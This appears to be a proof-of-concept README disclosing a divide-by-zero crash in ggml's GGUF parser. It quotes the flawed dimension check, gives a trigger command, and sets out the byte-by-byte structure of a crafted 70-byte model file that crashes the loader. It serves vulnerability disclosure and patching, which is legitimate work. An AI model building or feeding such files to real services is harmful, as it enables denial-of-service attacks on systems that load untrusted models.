sr64/poc-gguf-divzero

PoC: GGUF Division-by-Zero crash via crafted tensor dimension (CWE-369)

Summary

src/gguf.cpp in ggml-org/ggml performs an overflow guard for tensor element counts using integer division:

for (int j = 1; j < info.t.n_dims; j++) {
    if (info.t.ne[j] < 0) {    // checks < 0, NOT == 0
        ok = false;
        break;
    }
    ok &= (INT64_MAX / info.t.ne[j] >= info.t.ne[j-1]);   // divides by ne[j]
}

The guard rejects negative dimension values but not zero. When a crafted GGUF file supplies ne[1] = 0, the value passes the < 0 check, and INT64_MAX / 0 triggers SIGFPE (integer divide-by-zero), crashing the process immediately.

Affected code

File: src/gguf.cpp (~line 580), current HEAD / master, ggml-org/ggml. PR #1517 (2026-05-29) proposed a fix but was closed without merge. Unpatched in HEAD as of 2026-06-25.

Trigger

./llama-cli --model poc_gguf_divzero.gguf
# Expected: SIGFPE / EXCEPTION_INT_DIVIDE_BY_ZERO at gguf_init_from_file()

Note: The Python gguf package does NOT trigger this — it does not call the C gguf_init_from_file() path. Vulnerability is in the C parser only.

PoC file structure

poc_gguf_divzero.gguf (70 bytes):

GGUF magic       : 4 bytes  "GGUF"
version          : u32 = 3
n_tensors        : u64 = 1
n_kv             : u64 = 0
--- tensor entry ---
name             : u64=6 + "weight"
n_dims           : u32 = 2
ne[0]            : i64 = 1   (valid)
ne[1]            : i64 = 0   (TRIGGER: passes < 0 guard, causes INT64_MAX/0)
type             : u32 = 0   (GGML_TYPE_F32)
offset           : u64 = 0

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5 (Medium) CWE-369: Divide By Zero